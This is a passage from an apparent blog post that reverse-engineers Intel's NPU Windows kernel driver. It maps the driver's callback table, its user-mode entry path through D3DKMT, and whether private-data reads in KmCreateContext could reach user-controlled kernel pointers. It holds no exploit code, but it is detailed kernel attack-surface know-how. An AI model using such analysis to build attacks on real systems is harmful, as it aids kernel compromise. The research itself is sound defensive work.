    <span class="n">Callbacks</span><span class="p">.</span><span class="n">_1096_8_</span> <span class="o">=</span> <span class="n">FUN_1400041e0</span><span class="p">;</span>
    <span class="n">Callbacks</span><span class="p">.</span><span class="n">_1144_8_</span> <span class="o">=</span> <span class="n">FUN_140003c50</span><span class="p">;</span>
    <span class="n">Callbacks</span><span class="p">.</span><span class="n">_1152_8_</span> <span class="o">=</span> <span class="n">FUN_140004270</span><span class="p">;</span>
    <span class="n">Callbacks</span><span class="p">.</span><span class="n">_1160_8_</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>                  <span class="c1">// explicitly zeroed under this gate</span>
    <span class="n">Callbacks</span><span class="p">.</span><span class="n">_1168_8_</span> <span class="o">=</span> <span class="n">FUN_140003ce0</span><span class="p">;</span>
    <span class="n">Callbacks</span><span class="p">.</span><span class="n">_1296_8_</span> <span class="o">=</span> <span class="n">FUN_140004330</span><span class="p">;</span>
    <span class="n">Callbacks</span><span class="p">.</span><span class="n">_1304_8_</span> <span class="o">=</span> <span class="n">FUN_140004790</span><span class="p">;</span>
    <span class="n">Callbacks</span><span class="p">.</span><span class="n">_1312_8_</span> <span class="o">=</span> <span class="n">FUN_140004500</span><span class="p">;</span>
    <span class="n">Callbacks</span><span class="p">.</span><span class="n">_1320_8_</span> <span class="o">=</span> <span class="n">FUN_1400045f0</span><span class="p">;</span>
    <span class="n">Callbacks</span><span class="p">.</span><span class="n">_1488_8_</span> <span class="o">=</span> <span class="n">FUN_1400043f0</span><span class="p">;</span>
    <span class="n">Callbacks</span><span class="p">.</span><span class="n">_1496_8_</span> <span class="o">=</span> <span class="n">FUN_1400046e0</span><span class="p">;</span>
    <span class="n">Callbacks</span><span class="p">.</span><span class="n">_1504_8_</span> <span class="o">=</span> <span class="n">FUN_140004820</span><span class="p">;</span>
    <span class="n">Callbacks</span><span class="p">.</span><span class="n">_1512_8_</span> <span class="o">=</span> <span class="n">FUN_140004910</span><span class="p">;</span>
<span class="p">}</span>

<span class="c1">// build &gt; 26999  (27000+, post-24H2 / canary)  --  1 slot</span>
<span class="k">if</span> <span class="p">(</span><span class="mi">26999</span> <span class="o">&lt;</span> <span class="n">local_148</span><span class="p">.</span><span class="n">dwBuildNumber</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">Callbacks</span><span class="p">.</span><span class="n">_120_8_</span>  <span class="o">=</span> <span class="n">FUN_140004290</span><span class="p">;</span>
<span class="p">}</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Also, two observations follow. First, the miniport’s callback surface is genuinely OS-version-dependent: 26 of its slots, the <code class="language-plaintext highlighter-rouge">FUN_140003a30</code>–<code class="language-plaintext highlighter-rouge">FUN_140004910</code> cluster, consistent with the Windows 11 24H2 hardware-scheduling (HWS) path, are simply absent on systems older than build 25000, and a 27th (<code class="language-plaintext highlighter-rouge">_120</code>) appears only on 27000+. Second, three of the 24H2-gated writes (<code class="language-plaintext highlighter-rouge">_920</code>, <code class="language-plaintext highlighter-rouge">_1032</code>, <code class="language-plaintext highlighter-rouge">_1160</code>) are explicit <em>zeroings</em> rather than function-pointer installs: on 24H2 the driver actively clears those slots, which a pre-24H2 system never touches after the initial <code class="language-plaintext highlighter-rouge">memset</code>. The populated structure is then handed, after a preparatory <code class="language-plaintext highlighter-rouge">IntelNPU_PreFrameworkInit()</code> call, to <code class="language-plaintext highlighter-rouge">IntelNPU_FrameworkInit(DriverObject, RegistryPath, &amp;Callbacks)</code>, the routine that forwards it to <code class="language-plaintext highlighter-rouge">dxgkrnl</code>, and the whole population runs only inside the success branch of a <code class="language-plaintext highlighter-rouge">DriverObject</code>/<code class="language-plaintext highlighter-rouge">RegistryPath</code> non-NULL check.</p>

<p>A note on the cleared region versus the slot offsets, since the two can look inconsistent at first look. The structure is cleared with <code class="language-plaintext highlighter-rouge">memset(&amp;Callbacks, 0, 0x608)</code>, and <code class="language-plaintext highlighter-rouge">0x608</code> is <code class="language-plaintext highlighter-rouge">1544</code> in decimal. The slot offsets in the <code class="language-plaintext highlighter-rouge">Callbacks._NNN_8_</code> notation are themselves decimal (Ghidra’s convention) so <code class="language-plaintext highlighter-rouge">_640</code>, <code class="language-plaintext highlighter-rouge">_896</code>, and the highest assignment <code class="language-plaintext highlighter-rouge">_1528</code> are decimal offsets <code class="language-plaintext highlighter-rouge">640</code>, <code class="language-plaintext highlighter-rouge">896</code>, and <code class="language-plaintext highlighter-rouge">1528</code>, not hex. <code class="language-plaintext highlighter-rouge">_1528</code> writes eight bytes ending at offset <code class="language-plaintext highlighter-rouge">1536</code>, still below <code class="language-plaintext highlighter-rouge">1544</code>. Every callback slot is therefore written inside the zero-initialized block; there is no write into uninitialized stack space, and the <code class="language-plaintext highlighter-rouge">memset</code> size is not a defect.</p>

<p>This fact makes any IOCTL-fuzzing plan against this driver, pointless. Searching the binary for <code class="language-plaintext highlighter-rouge">WdfIoQueueCreate</code> finds nothing. Searching for <code class="language-plaintext highlighter-rouge">IRP_MJ_DEVICE_CONTROL</code> finds nothing. One actual attack surface is the set of DDI callback functions enumerated above, reached from user mode through the D3DKMT API exported by <code class="language-plaintext highlighter-rouge">gdi32.dll</code> (functions like <code class="language-plaintext highlighter-rouge">D3DKMTCreateContext</code>, <code class="language-plaintext highlighter-rouge">D3DKMTSubmitCommand</code>, <code class="language-plaintext highlighter-rouge">D3DKMTEscape</code>), which dispatches through <code class="language-plaintext highlighter-rouge">win32k.sys</code> into <code class="language-plaintext highlighter-rouge">dxgkrnl.sys</code>, which then invokes the registered DDI on the miniport.</p>

<p><img src="/assets/img/posts/2026-05-30-reverse-engineering-the-intel-npu-windows-driver-an-mcdm-miniport-architecture-map/20260531163141.png" alt="Diagram 3" /> 
<em>Figure 3 - Driver initialization and callback-structure registration.</em></p>

<p><img src="/assets/img/posts/2026-05-30-reverse-engineering-the-intel-npu-windows-driver-an-mcdm-miniport-architecture-map/20260525182901.png" alt="Diagram 4" />
<em>Figure 4 - D3DKMT user-mode-to-DDI dispatch path</em></p>

<p>This is structurally different from a conventional driver in three ways that matter for vulnerability research.</p>

<p>The trust boundary sits between <code class="language-plaintext highlighter-rouge">dxgkrnl</code> and the miniport, not between user mode and the miniport. Anything the miniport receives has already been processed by <code class="language-plaintext highlighter-rouge">dxgkrnl</code>, which has its own validation layer. Whether <code class="language-plaintext highlighter-rouge">dxgkrnl</code> probes and copies user pointers before handing them to the miniport, or passes them through raw, is a question that has to be answered separately for each DDI. The DDI prototype (the function signature) is documented by Microsoft, but the <em>semantics of what</em> <code class="language-plaintext highlighter-rouge">dxgkrnl</code> <em>does before invoking the DDI</em> are not always documented in detail.</p>

<p><img src="/assets/img/posts/2026-05-30-reverse-engineering-the-intel-npu-windows-driver-an-mcdm-miniport-architecture-map/20260525183103.png" alt="Diagram 5" /> <em>Figure 5. Trust boundary (dxgkrnl validates &lt;—&gt; miniport assumes)</em></p>

<p>The miniport’s namespace is owned by <code class="language-plaintext highlighter-rouge">dxgkrnl</code>. The miniport does not own its own device object. <code class="language-plaintext highlighter-rouge">\\.\IntelNPU0</code> does not exist. The user-mode entry point is <code class="language-plaintext highlighter-rouge">D3DKMTOpenAdapterFromLuid</code>, which goes through <code class="language-plaintext highlighter-rouge">dxgkrnl</code>, which routes through to the appropriate miniport based on the LUID. This means any user-mode harness has to use the D3DKMT API, not <code class="language-plaintext highlighter-rouge">CreateFile</code> on a named device.</p>

<p>Driver Verifier behaves differently against an MCDM miniport than against a WDM driver. Special Pool, IRQL checking, and pool tracking are allocation- and code-path-scoped checks and apply to the miniport’s allocations in the standard way; Microsoft’s Driver Verifier documentation (the “Driver Verifier options and rule classes” reference on learn.microsoft.com) describes these option scopes. The I/O verification class, by contrast, instruments the IRP dispatch path, and an MCDM miniport exposes no such path, so those checks have no targets on this driver. This split follows from which option <em>classes</em> are code-path-scoped versus IRP-dispatch-scoped, so it can be stated from the driver’s static structure alone; a live <code class="language-plaintext highlighter-rouge">verifier /query</code> on the test machine would only echo the same conclusion.</p>

<hr />

<h2 id="4-static-analysis-of-the-kmcreatecontext-ddi">4. Static analysis of the <code class="language-plaintext highlighter-rouge">KmCreateContext</code> DDI</h2>

<p>With the MCDM architecture established, the natural starting point is the simplest DDI in the callback table that takes user-controlled data: <code class="language-plaintext highlighter-rouge">DxgkDdiCreateContext</code>. In the Intel binary the miniport’s implementation is internally named <code class="language-plaintext highlighter-rouge">KmCreateContext</code> (<code class="language-plaintext highlighter-rouge">FUN_14001ee70</code>); the callback slot <code class="language-plaintext highlighter-rouge">_464</code> holds its wrapper <code class="language-plaintext highlighter-rouge">KmCreateContext_Wrapper</code> (<code class="language-plaintext highlighter-rouge">FUN_140002ed0</code>). The function identity is supported by an embedded build path in the debug strings: <code class="language-plaintext highlighter-rouge">D:\qb\workspace\33077\source\npu-driver\Source\Kmd\render\KmContext.c</code> and a source line argument (<code class="language-plaintext highlighter-rouge">0x7b</code>) passed to the logging helper.</p>

<p><code class="language-plaintext highlighter-rouge">KmCreateContext</code> receives two arguments. Its prologue, as disassembled by Ghidra, establishes the calling convention and the early validation gate:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
</pre></td><td class="rouge-code"><pre>14001ee70  PUSH RBX
14001ee72  PUSH RDI
14001ee73  PUSH R13
14001ee75  PUSH R14
14001ee77  PUSH R15
14001ee79  SUB RSP,0x70
14001ee7d  MOV R15,qword ptr [RCX + 0x8]   ; R15 = device context from arg1+8
14001ee81  MOV R14,RDX                     ; R14 = the DDI argument structure
14001ee84  MOV RBX,RCX                     ; RBX = arg1 (adapter/process context)
14001ee87  TEST R15,R15
14001ee8a  JZ 0x14001f4da                  ; bail if device context is NULL
14001ee90  MOV EDX,dword ptr [R15 + 0xa8]
14001ee99  MOV ECX,EDX
14001ee9b  AND ECX,0x10
14001ee9e  TEST R14,R14
14001eea1  JZ 0x14001f4da                  ; bail if the DDI argument is NULL
14001eea7  TEST ECX,ECX
14001eea9  MOV EAX,EDI
14001eeab  SETNZ AL
14001eeae  INC EAX                         ; EAX = ((flags &amp; 0x10) != 0) + 1
14001eeb0  CMP dword ptr [R14 + 0x8],EAX    ; compare arg+0x8 against that limit
14001eeb4  JNC 0x14001f4da
14001eeba  CMP qword ptr [R14 + 0x18],RDI   ; arg+0x18 (a pointer field) vs 0
14001eebe  JZ 0x14001eecb
14001eec0  CMP dword ptr [R14 + 0x20],0x1e  ; arg+0x20 compared against 0x1e
14001eec5  JNZ 0x14001f4da
</pre></td></tr></tbody></table></code></pre></div></div>

<p>The second argument (<code class="language-plaintext highlighter-rouge">RDX</code>, aliased to <code class="language-plaintext highlighter-rouge">R14</code> in the prologue) is the DDI argument structure. The disassembly is the definitive reference for the offsets accessed on it: a 4-byte field at <code class="language-plaintext highlighter-rouge">+0x8</code>, a pointer-width field at <code class="language-plaintext highlighter-rouge">+0x18</code>, and a 4-byte field at <code class="language-plaintext highlighter-rouge">+0x20</code>.</p>

<p>Microsoft documents the <code class="language-plaintext highlighter-rouge">DXGKARG_CREATECONTEXT</code> structure in the DDK header <code class="language-plaintext highlighter-rouge">d3dkmddi.h</code> (<a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/d3dkmddi/ns-d3dkmddi-_dxgkarg_createcontext">_DXGKARG_CREATECONTEXT reference, learn.microsoft.com</a>). The documented declaration is:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
</pre></td><td class="rouge-code"><pre><span class="k">typedef</span> <span class="k">struct</span> <span class="n">_DXGKARG_CREATECONTEXT</span> <span class="p">{</span>
  <span class="n">HANDLE</span>                  <span class="n">hContext</span><span class="p">;</span>            <span class="c1">// [out]</span>
  <span class="n">UINT</span>                    <span class="n">NodeOrdinal</span><span class="p">;</span>         <span class="c1">// [in]</span>
  <span class="n">UINT</span>                    <span class="n">EngineAffinity</span><span class="p">;</span>      <span class="c1">// [in]</span>
  <span class="n">DXGK_CREATECONTEXTFLAGS</span> <span class="n">Flags</span><span class="p">;</span>               <span class="c1">// [in]</span>
  <span class="n">VOID</span>                   <span class="o">*</span><span class="n">pPrivateDriverData</span><span class="p">;</span>  <span class="c1">// [in]</span>
  <span class="n">UINT</span>                    <span class="n">PrivateDriverDataSize</span><span class="p">;</span><span class="c1">// [in]</span>
  <span class="n">DXGK_CONTEXTINFO</span>        <span class="n">ContextInfo</span><span class="p">;</span>          <span class="c1">// [out]</span>
<span class="p">}</span> <span class="n">DXGKARG_CREATECONTEXT</span><span class="p">;</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>On the x64 ABI this places <code class="language-plaintext highlighter-rouge">hContext</code> at offset <code class="language-plaintext highlighter-rouge">0x00</code>, <code class="language-plaintext highlighter-rouge">NodeOrdinal</code> at <code class="language-plaintext highlighter-rouge">0x08</code>, <code class="language-plaintext highlighter-rouge">EngineAffinity</code> at <code class="language-plaintext highlighter-rouge">0x0C</code>, <code class="language-plaintext highlighter-rouge">Flags</code> at <code class="language-plaintext highlighter-rouge">0x10</code>, <code class="language-plaintext highlighter-rouge">pPrivateDriverData</code> at <code class="language-plaintext highlighter-rouge">0x18</code>, <code class="language-plaintext highlighter-rouge">PrivateDriverDataSize</code> at <code class="language-plaintext highlighter-rouge">0x20</code>, and the <code class="language-plaintext highlighter-rouge">ContextInfo</code> output region from <code class="language-plaintext highlighter-rouge">0x24</code> (no padding follows the 4-byte <code class="language-plaintext highlighter-rouge">PrivateDriverDataSize</code>, since <code class="language-plaintext highlighter-rouge">ContextInfo</code>’s leading member is itself a 4-byte-aligned <code class="language-plaintext highlighter-rouge">UINT</code>). Per Microsoft’s description, <code class="language-plaintext highlighter-rouge">pPrivateDriverData</code> is a pointer to a block of private data passed from the user-mode display driver to the miniport; <code class="language-plaintext highlighter-rouge">dxgkrnl</code> does not interpret its contents. The miniport is the only consumer that parses it.</p>

<p>Note that <code class="language-plaintext highlighter-rouge">hContext</code> is the <em>first</em> field of the structure, at offset <code class="language-plaintext highlighter-rouge">0x00</code>, and is an <code class="language-plaintext highlighter-rouge">[out]</code> handle the miniport fills in. This layout fact is important for interpreting the <code class="language-plaintext highlighter-rouge">+0x20</code> comparison discussed in Section 4.1 and for the structural questions raised in Section 4.2.</p>

<h3 id="41-what-the-static-analysis-showed">4.1 What the static analysis showed</h3>

<p><code class="language-plaintext highlighter-rouge">KmCreateContext</code> allocates a <code class="language-plaintext highlighter-rouge">0x2c18</code>-byte (11,288-byte) per-process VPU context object. The allocation is not a direct <code class="language-plaintext highlighter-rouge">ExAllocatePool2</code> call; it goes through an internal pool-allocation wrapper, <code class="language-plaintext highlighter-rouge">FUN_140041d30</code>, observed in the decompile as:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
</pre></td><td class="rouge-code"><pre><span class="n">puVar10</span> <span class="o">=</span> <span class="p">(</span><span class="n">undefined8</span> <span class="o">*</span><span class="p">)</span>
          <span class="n">FUN_140041d30</span><span class="p">(</span><span class="n">lVar3</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mh">0x2c18</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">uVar13</span><span class="p">,</span>
                        <span class="s">"D:</span><span class="se">\\</span><span class="s">qb</span><span class="se">\\</span><span class="s">workspace</span><span class="se">\\</span><span class="s">33077</span><span class="se">\\</span><span class="s">source</span><span class="se">\\</span><span class="s">npu-driver</span><span class="se">\\</span><span class="s">Source</span><span class="se">\\</span><span class="s">Kmd</span><span class="se">\\</span><span class="s">render</span><span class="se">\\</span><span class="s">KmContext.c"</span><span class="p">,</span>
                        <span class="s">"KmCreateContext"</span><span class="p">,</span> <span class="mh">0x7b</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>The corresponding disassembly confirms the size and the pool-tag immediates:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre>14001efc3  MOV R8D,0x2c18                       ; allocation size
14001efc9  MOV dword ptr [RSP + 0x20],0x20504d40 ; pool tag
</pre></td></tr></tbody></table></code></pre></div></div>

<p>A second, smaller allocation of <code class="language-plaintext highlighter-rouge">0x60</code> bytes is made later in the same function for a hardware-queue object, using the same wrapper and the same tag (<code class="language-plaintext highlighter-rouge">14001f26b: MOV R8D,0x60</code>; <code class="language-plaintext highlighter-rouge">14001f274: MOV dword ptr [RSP+0x20],0x20504d40</code>). The tag constant <code class="language-plaintext highlighter-rouge">0x20504d40</code> is, in the in-memory little-endian byte order that WinDbg <code class="language-plaintext highlighter-rouge">!pool</code> displays, the ASCII string <code class="language-plaintext highlighter-rouge">@MP</code> (bytes <code class="language-plaintext highlighter-rouge">40 4d 50 20</code>). The tag should be confirmed against a live <code class="language-plaintext highlighter-rouge">!pool</code> query before being stated as definitive.</p>

<p>The <code class="language-plaintext highlighter-rouge">0x1e</code> comparison in the prologue requires careful reading. In a Ghidra database with a <code class="language-plaintext highlighter-rouge">DXGKARG_CREATECONTEXT</code> structure applied to the second argument, the decompiler renders the comparison as:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
</pre></td><td class="rouge-code"><pre><span class="n">lVar4</span><span class="p">.</span><span class="n">_0_4_</span> <span class="o">=</span> <span class="n">param_2</span><span class="o">-&gt;</span><span class="n">PrivateDriverDataSize</span><span class="p">;</span>
<span class="n">lVar4</span><span class="p">.</span><span class="n">_4_4_</span> <span class="o">=</span> <span class="n">param_2</span><span class="o">-&gt;</span><span class="n">Padding2</span><span class="p">;</span>
<span class="k">if</span> <span class="p">((</span><span class="n">lVar4</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">param_2</span><span class="o">-&gt;</span><span class="n">hContext</span> <span class="o">!=</span> <span class="mh">0x1e</span><span class="p">))</span> <span class="p">{</span>
    <span class="k">return</span> <span class="o">-</span><span class="mh">0x3ffffff3</span><span class="p">;</span>
<span class="p">}</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>The comparison is against the field the applied structure labels <code class="language-plaintext highlighter-rouge">hContext</code>. Per the documented layout reproduced in Section 4 (<code class="language-plaintext highlighter-rouge">hContext</code> at offset <code class="language-plaintext highlighter-rouge">0x00</code>), and per the prologue disassembly (<code class="language-plaintext highlighter-rouge">CMP dword ptr [R14 + 0x20],0x1e</code>), the value compared against <code class="language-plaintext highlighter-rouge">0x1e</code> is the 4-byte field at argument offset <code class="language-plaintext highlighter-rouge">+0x20</code>. Under the documented Microsoft layout, offset <code class="language-plaintext highlighter-rouge">+0x20</code> is <code class="language-plaintext highlighter-rouge">PrivateDriverDataSize</code>.</p>

<p>The decompile field names are unreliable here and the structure applied to <code class="language-plaintext highlighter-rouge">param_2</code> is misaligned relative to the documented <code class="language-plaintext highlighter-rouge">DXGKARG_CREATECONTEXT</code>, which is why it labels the <code class="language-plaintext highlighter-rouge">+0x20</code> field as <code class="language-plaintext highlighter-rouge">hContext</code> (a field the documented layout places at <code class="language-plaintext highlighter-rouge">+0x00</code>). The raw disassembly is the authority, and it is unambiguous: the dword compared against <code class="language-plaintext highlighter-rouge">0x1e</code> sits at argument offset <code class="language-plaintext highlighter-rouge">+0x20</code>, and the read immediately before it (<code class="language-plaintext highlighter-rouge">CMP qword ptr [R14 + 0x18],RDI</code>) is a non-zero test on the pointer-width field at <code class="language-plaintext highlighter-rouge">+0x18</code>. Under the documented layout, <code class="language-plaintext highlighter-rouge">+0x18</code> is <code class="language-plaintext highlighter-rouge">pPrivateDriverData</code> and <code class="language-plaintext highlighter-rouge">+0x20</code> is <code class="language-plaintext highlighter-rouge">PrivateDriverDataSize</code>.</p>

<p>The check is therefore a size check, and an exact-equality one: if <code class="language-plaintext highlighter-rouge">pPrivateDriverData</code> (<code class="language-plaintext highlighter-rouge">+0x18</code>) is non-NULL, then <code class="language-plaintext highlighter-rouge">PrivateDriverDataSize</code> (<code class="language-plaintext highlighter-rouge">+0x20</code>) must equal exactly <code class="language-plaintext highlighter-rouge">0x1e</code> (30 bytes), or the call is rejected. It is not a type/version tag. This matters for the dereference-reachability question below: the five blob reads top out at <code class="language-plaintext highlighter-rouge">+0x1d</code> (byte 29), which is in bounds of a <code class="language-plaintext highlighter-rouge">0x1e</code>-byte buffer so a buffer too small to satisfy the reads is rejected at this gate, and a buffer of any size other than exactly <code class="language-plaintext highlighter-rouge">0x1e</code> is rejected.</p>

<p>At first I thought that there are five distinct dereferences of the <code class="language-plaintext highlighter-rouge">pPrivateDriverData</code> blob at offsets <code class="language-plaintext highlighter-rouge">+0x10</code>, <code class="language-plaintext highlighter-rouge">+0x14</code>, <code class="language-plaintext highlighter-rouge">+0x18</code>, <code class="language-plaintext highlighter-rouge">+0x1c</code>, and <code class="language-plaintext highlighter-rouge">+0x1d</code>, but a first automated pass did not reproduce that set and the offset map came back empty (bruh), but that empty result is itself also useful. The extractor’s dereference inventory was written to match an <em>untyped</em> decompile: it searched for a local assigned from <code class="language-plaintext highlighter-rouge">param_2[3]</code>. Run against a database with a struct <em>applied</em>, the decompiler emits the field-name form (<code class="language-plaintext highlighter-rouge">param_2-&gt;PrivateDriverDataSize</code>) instead, which that pattern cannot match, so the inventory returned nothing. The reads themselves are present and are read directly from the disassembly. The relevant excerpt:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
</pre></td><td class="rouge-code"><pre><span class="n">lVar6</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">longlong</span> <span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">param_2</span><span class="o">-&gt;</span><span class="n">PrivateDriverDataSize</span><span class="p">;</span>
<span class="cm">/* ... */</span>
<span class="k">if</span> <span class="p">(</span><span class="n">lVar6</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
    <span class="o">*</span><span class="p">(</span><span class="n">bool</span> <span class="o">*</span><span class="p">)(</span><span class="n">puVar10</span> <span class="o">+</span> <span class="mh">0x56c</span><span class="p">)</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">)(</span><span class="n">lVar6</span> <span class="o">+</span> <span class="mh">0x10</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="o">*</span><span class="p">(</span><span class="n">bool</span> <span class="o">*</span><span class="p">)((</span><span class="n">longlong</span><span class="p">)</span><span class="n">puVar10</span> <span class="o">+</span> <span class="mh">0x2b61</span><span class="p">)</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">)(</span><span class="n">lVar6</span> <span class="o">+</span> <span class="mh">0x14</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="n">FUN_14001fdb0</span><span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="n">undefined4</span> <span class="o">*</span><span class="p">)(</span><span class="n">lVar6</span> <span class="o">+</span> <span class="mh">0x18</span><span class="p">),</span> <span class="n">puVar10</span> <span class="o">+</span> <span class="mh">0xb</span><span class="p">,(</span><span class="n">longlong</span><span class="p">)</span><span class="n">puVar10</span> <span class="o">+</span> <span class="mh">0x5c</span><span class="p">);</span>
    <span class="o">*</span><span class="p">(</span><span class="n">undefined1</span> <span class="o">*</span><span class="p">)((</span><span class="n">longlong</span><span class="p">)</span><span class="n">puVar10</span> <span class="o">+</span> <span class="mi">100</span><span class="p">)</span>  <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">undefined1</span> <span class="o">*</span><span class="p">)(</span><span class="n">lVar6</span> <span class="o">+</span> <span class="mh">0x1c</span><span class="p">);</span>
    <span class="o">*</span><span class="p">(</span><span class="n">undefined1</span> <span class="o">*</span><span class="p">)(</span><span class="n">puVar10</span> <span class="o">+</span> <span class="mh">0x56b</span><span class="p">)</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">undefined1</span> <span class="o">*</span><span class="p">)(</span><span class="n">lVar6</span> <span class="o">+</span> <span class="mh">0x1d</span><span class="p">);</span>
<span class="p">}</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>The reads at <code class="language-plaintext highlighter-rouge">lVar6 + 0x10/0x14/0x18/0x1c/0x1d</code> are real and gated only by <code class="language-plaintext highlighter-rouge">lVar6 != 0</code>. And <code class="language-plaintext highlighter-rouge">lVar6</code> <em>is</em> the <code class="language-plaintext highlighter-rouge">pPrivateDriverData</code> pointer. This is established by the prologue disassembly, independently of any applied struct. <code class="language-plaintext highlighter-rouge">lVar6</code> is assigned <code class="language-plaintext highlighter-rouge">*(longlong *)&amp;param_2-&gt;PrivateDriverDataSize</code>; the misapplied struct places its <code class="language-plaintext highlighter-rouge">PrivateDriverDataSize</code> field at argument offset <code class="language-plaintext highlighter-rouge">+0x18</code>, which is the low dword of the eight-byte value the prologue tests with <code class="language-plaintext highlighter-rouge">CMP qword ptr [R14+0x18],RDI</code>. Argument offset <code class="language-plaintext highlighter-rouge">+0x18</code> is, under the documented <code class="language-plaintext highlighter-rouge">DXGKARG_CREATECONTEXT</code> layout, exactly <code class="language-plaintext highlighter-rouge">pPrivateDriverData</code>, and the prologue’s non-zero comparison treats <code class="language-plaintext highlighter-rouge">+0x18</code> as a pointer-width field. So <code class="language-plaintext highlighter-rouge">lVar6</code> is a read of the documented <code class="language-plaintext highlighter-rouge">pPrivateDriverData</code> pointer, and the five reads off it are dereferences of the private-data blob. The original “five dereferences” description was correct, for the reason given above…</p>

<p>The reads are now gated by two things, both visible statically: the exact-<code class="language-plaintext highlighter-rouge">0x1e</code> size check in the prologue, and the <code class="language-plaintext highlighter-rouge">lVar6 != 0</code> non-NULL test. What static reading cannot settle is whether <code class="language-plaintext highlighter-rouge">lVar6</code> points into a kernel buffer that <code class="language-plaintext highlighter-rouge">dxgkrnl</code> sized and owns, or into user-controlled memory and that is the question the rest of this section delves into.</p>

<p>So what does all this say about it? I assume there are two possible runtime behaviors, distinguishable only at runtime. They are recorded here as the point at which static analysis of this DDI reaches its limit.</p>

<p><strong>Behavior A: raw user pointer reaches the miniport.</strong> If <code class="language-plaintext highlighter-rouge">dxgkrnl</code> passes the user-mode <code class="language-plaintext highlighter-rouge">pPrivateDriverData</code> pointer through to <code class="language-plaintext highlighter-rouge">KmCreateContext</code> without capturing it into a kernel buffer, the <code class="language-plaintext highlighter-rouge">lVar6 + 0x10 … +0x1d</code> reads in <code class="language-plaintext highlighter-rouge">KmCreateContext</code> are reads from a user-controllable kernel-mode pointer. In that case, the dereferences would be reading whatever address the user supplied - including, if the user supplied a kernel address, the contents of kernel memory.</p>

<p><strong>Behavior B: captured buffer; reads stay in bounds.</strong> If <code class="language-plaintext highlighter-rouge">dxgkrnl</code> captures <code class="language-plaintext highlighter-rouge">pPrivateDriverData</code> into a kernel pool buffer (the standard Microsoft “Full Capture” pattern), it allocates and copies <code class="language-plaintext highlighter-rouge">PrivateDriverDataSize</code> bytes. Because the prologue has already forced <code class="language-plaintext highlighter-rouge">PrivateDriverDataSize</code> to be exactly <code class="language-plaintext highlighter-rouge">0x1e</code>, that buffer is exactly <code class="language-plaintext highlighter-rouge">0x1e</code> (30) bytes, and the five reads, topping out at <code class="language-plaintext highlighter-rouge">+0x1d</code>, byte 29 - fall inside it. Under Full Capture, then, the dereferences are in-bounds reads of a correctly-sized kernel buffer - not a vulnerability on this path.</p>

<p>The two behaviors are mutually exclusive. Settling down between them requires observing the pointer <code class="language-plaintext highlighter-rouge">dxgkrnl</code> passes to the miniport at the instant of the DDI invocation, a runtime step outside the scope of this post. The static evidence does not stop at the miniport boundary, however: Section 5 traces the <code class="language-plaintext highlighter-rouge">dxgkrnl</code> side of the same path and establishes which of the two behaviors the static evidence supports.</p>

<h3 id="42-the-structure-question-divergence-or-mis-application">4.2 The structure question: divergence or mis-application?</h3>

<p>At the very beginning when I was looking at <code class="language-plaintext highlighter-rouge">KmCreateContext</code> I thought it accesses a structure that is different from the documented Microsoft <code class="language-plaintext highlighter-rouge">DXGKARG_CREATECONTEXT</code> layout. That’s why I named the structure <code class="language-plaintext highlighter-rouge">INTEL_DXGKARG_CREATECONTEXT_EXT</code> to mark it as a form of “vendor-extended layout”. The evidence gathered after that does not support that conclusion, though.</p>

<p>The table below compares the documented Microsoft layout against the offsets actually seen in <code class="language-plaintext highlighter-rouge">KmCreateContext</code>’s prologue, as read directly from the disassembly:</p>

<table>
  <thead>
    <tr>
      <th>Arg offset</th>
      <th>Documented <code class="language-plaintext highlighter-rouge">DXGKARG_CREATECONTEXT</code> field</th>
      <th>Access observed in <code class="language-plaintext highlighter-rouge">KmCreateContext</code> prologue</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0x00</code></td>
